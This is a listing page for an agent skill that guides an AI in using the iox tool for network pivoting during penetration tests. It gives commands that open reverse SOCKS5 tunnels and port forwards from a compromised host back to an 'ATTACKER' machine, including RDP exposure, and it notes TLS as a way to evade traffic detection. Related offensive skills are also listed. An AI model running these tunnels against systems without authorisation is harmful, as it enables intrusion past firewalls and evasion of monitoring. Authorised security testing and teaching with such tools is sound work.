Configure iox port forwarding and SOCKS5 tunnels for internal network pivoting.
npx skills add https://github.com/wgpsec/AboutSecurity --skill iox-proxy
Please help me install this Agent Skill. Skill: iox-proxy Source: https://github.com/wgpsec/AboutSecurity/tree/main/skills/tool/iox-proxy Command: npx skills add https://github.com/wgpsec/AboutSecurity --skill iox-proxy
During internal network penetration testing, attackers often cannot directly reach intranet services due to firewalls and network segmentation. This Skill provides operational guidance for using iox, a single-binary zero-dependency port forwarding and proxy tool, to build traffic tunnels that expose internal services to the attack machine.
Ask the AI to set up a reverse SOCKS5 tunnel with iox so the attack machine can reach the internal network through the compromised target host.
High-intent search queries and answers about installing and using this skill.
Run iox proxy -l 9999 on the attack machine to listen, then run iox proxy -r ATTACKER:9999 on the target to connect back. Configure proxychains with socks5 127.0.0.1 9999 to route tools through the tunnel.
Use iox fwd with two listeners on the attack machine (iox fwd -l 33890 -l 8888), then on the target run iox fwd -r ATTACKER:8888 -r 10.0.0.2:3389. Connect your RDP client to localhost:33890.
iox is a single zero-dependency binary suited for quick tunnels and SOCKS5 pivoting. frp or nps fit when you need persistent tunnels with a web management panel, while socat or ssh -L works for one-off temporary port forwards.
Yes, iox supports TLS encryption by adding the -k flag to both ends of the connection. This works for both fwd and proxy modes and helps avoid traffic signature detection.
Use reverse mode when the target has a firewall blocking inbound connections but allows outbound traffic. The target initiates the connection to your attack machine, bypassing inbound filtering.
blacklanternsecurityEnumerates Linux systems for local privilege escalation vectors.
AeonDaveEstablish a reverse tunnel via TUN interface for pivoting into internal networks.
0x0pointerIdentify and exploit Active Directory lateral movement paths using credential reuse and relay techniques.
0X6C7879Plans and deploys Ligolo-ng, Chisel, frp, or SSH tunnels for network pivoting.
